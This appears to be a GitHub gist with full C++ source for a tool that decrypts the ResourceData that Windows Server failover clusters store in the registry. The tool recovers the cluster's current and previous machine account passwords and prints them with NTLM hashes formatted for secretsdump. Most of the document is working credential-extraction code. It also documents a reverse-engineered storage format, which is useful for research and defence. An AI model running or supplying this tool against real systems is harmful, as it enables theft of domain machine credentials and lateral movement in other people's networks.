Skip to content

Instantly share code, notes, and snippets.

@EvanMcBroom
Last active August 14, 2025 17:42
Show Gist options
  • Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.
Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.
Decryption code for Windows Server failover cluster ResourceData.
// Copyright (C) 2025 Evan McBroom and Garrett Foster
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Compile: cl /EHsc /MT decrypt_cluster_resourcedata.cpp
//
// The code may be used to encrypt or decrypt the ResourceData
// content which SMB cluster servers store in the registry.
//
// The current format of ResourceData is as follows:
// struct {
// DWORD PREFIX; // Believed to be the data format version
// DWORD BUFFER_IV_SIZE;
// DWORD BUFFER_KEY_SIZE;
// // BUFFER_IV
// // BUFFER_KEY
// // BUFFER_DATA
// };
//
// At the time of writing, the value of PREFIX is stored as 2.
// The decrypted data consists of the current machine account
// password for the SMB cluster followed by its previous
// machine account password, if present. The format of both
// passwords is as follows:
// union {
// struct {
// DWORD PasswordLength;
// BYTE Password[];
// };
// BYTE Data[260];
// };
//
#define UMDF_USING_NTSTATUS
#define _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING
#include <windows.h>
#include <bcrypt.h>
#include <codecvt>
#include <iomanip>
#include <iostream>
#include <ntsecapi.h>
#include <ntstatus.h>
#include <stdlib.h>
#include <string>
#include <vector>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "bcrypt.lib")
/// <summary>
/// Implements a slightly modified version of the Crypto::CryptProvider class that is used
/// by the clusres.dll!NetNameLib::CryptoAccessV2 api to decrypt ResourceData content.
///
/// The class methods differ from the original in the following ways:
/// - CryptProvider does not take a 4th dwFlags parameter. That parameter was ignored in
/// Microsoft's implementation of the class.
/// - Encrypt and Decrypt expect to be provided the entire contents of ResourceData.
/// Microsoft's implementation expects to be provided with the contents of ResourceData
/// with the leading 4 byte PREFIX data removed. This change was done for convenience.
/// </summary>
class CryptProvider {
public:
CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container);
virtual ~CryptProvider();
void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) {
this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData);
}
void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData);
void Decrypt(std::vector<UCHAR>&);
private:
std::wstring _keyName;
HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) };
HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) };
BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE };
CryptProvider(const CryptProvider&) = default;
CryptProvider& operator=(const CryptProvider&) = default;
void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData);
void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv);
BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId);
};
CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container) {
auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) };
if (!succeeded) {
if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) {
throw GetLastError();
}
}
_algoProvider = OpenAlgorithm(L"AES");
}
CryptProvider::~CryptProvider() {
if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) {
BCryptCloseAlgorithmProvider(_algoProvider, 0);
}
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
CryptDestroyKey(_exchangeKey);
}
if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) {
CryptReleaseContext(_cryptProvider, 0);
}
}
// Not fully tested
void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) {
// Get a key, iv, and secret to use when encrypting the plaintext
BCRYPT_KEY_HANDLE key;
std::vector<UCHAR> secret;
std::vector<UCHAR> iv;
GenerateCryptKey(key, secret, iv);
// Get the size of the encrypted secret and ciphertext
// Use those values to resize the output data to be able to store them
auto encryptedSecretBufferSize{ DWORD(secret.size()) };
EncryptData(&encryptedSecretBufferSize, nullptr, 0);
ULONG ciphertextSize;
auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &ciphertextSize, BCRYPT_BLOCK_PADDING) };
if (status != STATUS_SUCCESS) {
throw status;
}
const auto headerSize{ sizeof(int) * 3 };
resourceData.resize(headerSize + iv.size() + encryptedSecretBufferSize + ciphertextSize);
// Store the currently used prefix value (e.g., 2) and size of the iv and secret in the output data
*reinterpret_cast<int*>(resourceData.data()) = 2;
auto embeddedIvSize{ reinterpret_cast<int*>(resourceData.data()) + 1 };
auto embeddedSecretSize{ reinterpret_cast<int*>(resourceData.data()) + 2 };
*embeddedIvSize = int(iv.size());
*embeddedSecretSize = int(encryptedSecretBufferSize);
// Embed the iv
auto embeddedIv{ resourceData.data() + headerSize };
if (iv.size()) {
std::memcpy(embeddedIv, iv.data(), iv.size());
}
auto embeddedSecret{ embeddedIv + *embeddedIvSize };
auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
// Encrypt the plaintext and store its ciphertext in the output data
status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, embeddedIv, ULONG(iv.size()), embeddedCiphertext, ciphertextSize, &ciphertextSize, BCRYPT_BLOCK_PADDING);
if (status != STATUS_SUCCESS) {
throw status;
}
// Embed the secret and encrypt it in-place
if (secret.size()) {
std::memcpy(embeddedSecret, secret.data(), secret.size());
auto secretSize{ DWORD(secret.size()) };
EncryptData(&secretSize, embeddedSecret, encryptedSecretBufferSize);
}
}
void CryptProvider::Decrypt(std::vector<UCHAR>& data) {
DWORD error{ 0 };
// Get the key stored in the CNG container that was used to encrypt the embedded secret
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
CryptDestroyKey(_exchangeKey);
}
if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
// Pointers to each component of the resource data
const auto headerSize{ sizeof(int) * 3 };
auto embeddedIvSize{ reinterpret_cast<int*>(data.data()) + 1 };
auto embeddedSecretSize{ reinterpret_cast<int*>(data.data()) + 2 };
auto embeddedIv{ data.data() + headerSize };
auto embeddedSecret{ embeddedIv + *embeddedIvSize };
auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize };
auto size{ DWORD(*embeddedSecretSize) };
// Decrypt the embedded secret in-place
if (CryptDecrypt(_exchangeKey, 0, true, 0, embeddedSecret, &size)) {
BCRYPT_KEY_HANDLE cryptKey;
// Generate a new key from the decrypted embedded secret
auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, nullptr, 0, embeddedSecret, size, 0) };
if (status == STATUS_SUCCESS) {
auto cbCiphertext{ ULONG(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) };
status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING);
if (status != STATUS_SUCCESS) {
status = status;
}
}
else {
error = status;
}
}
else {
error = GetLastError();
}
}
else {
error = GetLastError();
}
if (error) {
throw error;
}
}
void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) {
auto error{ CryptEncrypt(_exchangeKey, 0, true, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) || (!pData && pdwSize) ? ERROR_SUCCESS : GetLastError()};
if (error != ERROR_SUCCESS) {
throw error;
}
}
void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) {
NTSTATUS error{ STATUS_SUCCESS };
auto algorithm{ OpenAlgorithm(L"RNG") };
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) {
CryptDestroyKey(_exchangeKey);
}
if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) {
DWORD blockLength;
ULONG cbResult;
error = BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0);
if (error == STATUS_SUCCESS) {
iv.resize(blockLength);
error = BCryptGenRandom(algorithm, iv.data(), ULONG(iv.size()), 0);
if (error == STATUS_SUCCESS) {
secret.resize(blockLength);
error = BCryptGenRandom(algorithm, secret.data(), ULONG(secret.size()), 0);
if (error == STATUS_SUCCESS) {
error = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), ULONG(secret.size()), 0);
}
}
}
}
else {
error = GetLastError();
}
(void)BCryptCloseAlgorithmProvider(algorithm, 0);
if (error) {
throw error;
}
}
BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) {
BCRYPT_ALG_HANDLE hAlgorithm;
auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) };
if (error != STATUS_SUCCESS) {
throw error;
}
return hAlgorithm;
}
auto GetNtlmOwf(const std::wstring& password) {
std::vector<UCHAR> ntlmOwf;
HCRYPTPROV provider;
if (CryptAcquireContextW(&provider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
HCRYPTHASH hash;
if (CryptCreateHash(provider, CALG_MD4, 0, 0, &hash)) {
if (CryptHashData(hash, reinterpret_cast<const BYTE*>(password.data()), DWORD(password.size() * sizeof(wchar_t)), 0)) {
ntlmOwf.resize(MSV1_0_OWF_PASSWORD_LENGTH);
auto dataLength{ DWORD(ntlmOwf.size()) };
CryptGetHashParam(hash, HP_HASHVAL, ntlmOwf.data(), &dataLength, 0);
}
CryptDestroyHash(hash);
}
CryptReleaseContext(provider, 0);
}
return ntlmOwf;
}
auto GetRegistryData(HKEY hive, const std::wstring& subKey, const std::wstring& valueName) {
std::vector<UCHAR> data;
HKEY key;
if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) {
DWORD dataSize;
if (RegQueryValueExW(key, valueName.c_str(), NULL, NULL, NULL, &dataSize) == ERROR_SUCCESS) {
data.resize(dataSize);
(void)RegQueryValueExW(key, valueName.c_str(), NULL, NULL, data.data(), &dataSize);
}
RegCloseKey(key);
}
return data;
}
auto GetRegistrySubKeys(HKEY hive, const std::wstring& subKey) {
std::vector<std::wstring> names;
HKEY key;
if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) {
WCHAR name[MAX_PATH]; // A sufficient size for our needs
for (DWORD index{ 0 }; RegEnumKeyW(key, index, name, sizeof(name) / sizeof(name[0])) == ERROR_SUCCESS; index++) {
names.emplace_back(name);
}
RegCloseKey(key);
}
return names;
}
template<typename Container>
inline void OutputHex(const Container& container) {
for (const auto& c : container) std::wcout << std::setw(2) << std::setfill(L'0') << std::hex << static_cast<int>(static_cast<unsigned char>(c));
}
inline void OutputHex(const std::wstring& data) {
OutputHex(std::string(reinterpret_cast<const char*>(data.data()), data.size() * sizeof(wchar_t)));
}
int wmain(int argc, wchar_t* argv[]) {
std::wstring checkpointsKey{ L"Cluster\\Checkpoints" };
auto checkpoints{ GetRegistrySubKeys(HKEY_LOCAL_MACHINE, checkpointsKey) };
for (const auto checkpoint : checkpoints) {
auto crypto{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, checkpointsKey + L"\\" + checkpoint + L"\\Crypto", L"Checkpoints").data())) };
auto providerType{ std::stoi(crypto.substr(0, crypto.find(L"\\"))) }; // In testing this has has been 1, or PROV_RSA_FULL
crypto.erase(0, crypto.find(L"\\") + 1);
auto provider{ crypto.substr(0, crypto.find(L"\\")) }; // In testing this has has been "Microsoft Enhanced Cryptographic Provider v1.0"
crypto.erase(0, crypto.find(L"\\") + 1);
auto container{ crypto.erase(0, crypto.find(L"\\") + 1) };
auto resourceKey{ std::wstring{ L"Cluster\\Resources\\" } + checkpoint };
auto resourceData{ GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey + L"\\Parameters", L"ResourceData") };
if (resourceData.size()) {
try {
// Decrypt ResourceData
CryptProvider cryptoProvider(provider, providerType, container);
cryptoProvider.Decrypt(resourceData);
// Parse out the plaintext
const auto headerSize{ int(sizeof(int)) * 3 };
auto embeddedIvSize{ *(reinterpret_cast<int*>(resourceData.data()) + 1) };
auto embeddedSecretSize{ *(reinterpret_cast<int*>(resourceData.data()) + 2) };
auto plaintextOffset{ headerSize + embeddedIvSize + embeddedSecretSize };
auto plaintext{ resourceData.data() + plaintextOffset };
// Parse out the password that is in the plaintext
// The first DWORD is the password length, but the password data can contain a null
// and the effective length is all data before the null. So we skip the first DWORD
// and allow std::wstring to chop of the data when it identifies a null.
auto passwordDataLength{ *reinterpret_cast<int*>(plaintext) };
std::wstring password(reinterpret_cast<wchar_t*>(plaintext + sizeof(int)));
// Output the password and its nt owf hash. The nt owf will conform to secretsdump's format
auto ntlmOwf{ GetNtlmOwf(password) };
auto name{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey, L"Name").data())) };
std::wcout << "[+] Decrypted checkpoint " << checkpoint << std::endl;
std::wcout << " Pass: "; OutputHex(password); std::wcout << std::endl;
std::wcout << " Hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl;
// Parse out the previous password. This will be the same as the current password
// until the machine account password is rotated.
auto previousPasswordOffset{ 260 }; // The data for previous password is stored at offset 260
auto previousPasswordSize{ int(resourceData.size()) - plaintextOffset - previousPasswordOffset };
if (previousPasswordSize > 0) {
auto previousPasswordDataLength{ *reinterpret_cast<int*>(plaintext + previousPasswordOffset) };
std::wstring previousPassword(reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int)));
// If a previous password does not exist, then previousPasswordDataLength will be 0
// and the storage area for the previous password may contain a password with the
// first wchar_t null'd to make the effective length of its data also 0. In testing,
// when this occurs the previous password will contain a copy of the current password.
// This will happen when a user "repairs" the active directory object for the machine
// account.
if (previousPasswordDataLength) {
try {
// Output the previous password and its nt owf hash
auto ntlmOwf{ GetNtlmOwf(previousPassword) };
std::wcout << L" Previous pass: "; OutputHex(previousPassword); std::wcout << std::endl;
std::wcout << L" Previous hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl;
}
catch (...) {
std::wcerr << L"[-] Failed to decrypt the previous password for checkpoint " << checkpoint << L"." << std::endl;
}
}
else {
auto partialPreviousPasswordSize{ previousPasswordSize - int(sizeof(int)) - int(sizeof(wchar_t)) };
auto partialPreviousPassword{ reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int) + sizeof(wchar_t)) };
if (partialPreviousPasswordSize > 0 && *partialPreviousPassword) {
std::wcout << L" [!] The previous password data was overwritten and could only be partially recovered" << std::endl;
std::wcout << " Partial previous pass: ????"; OutputHex(std::wstring(partialPreviousPassword)); std::wcout << std::endl;
}
else {
std::wcout << " Previous pass: (none)" << std::endl;
std::wcout << " Previous hash: (none)" << std::endl;
}
}
}
}
catch (...) {
std::wcerr << L"[-] Failed to decrypt ResourceData for checkpoint " << checkpoint << L"." << std::endl;
}
}
else {
std::wcerr << L"[-] Failed to find ResourceData for checkpoint " << checkpoint << L"." << std::endl;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment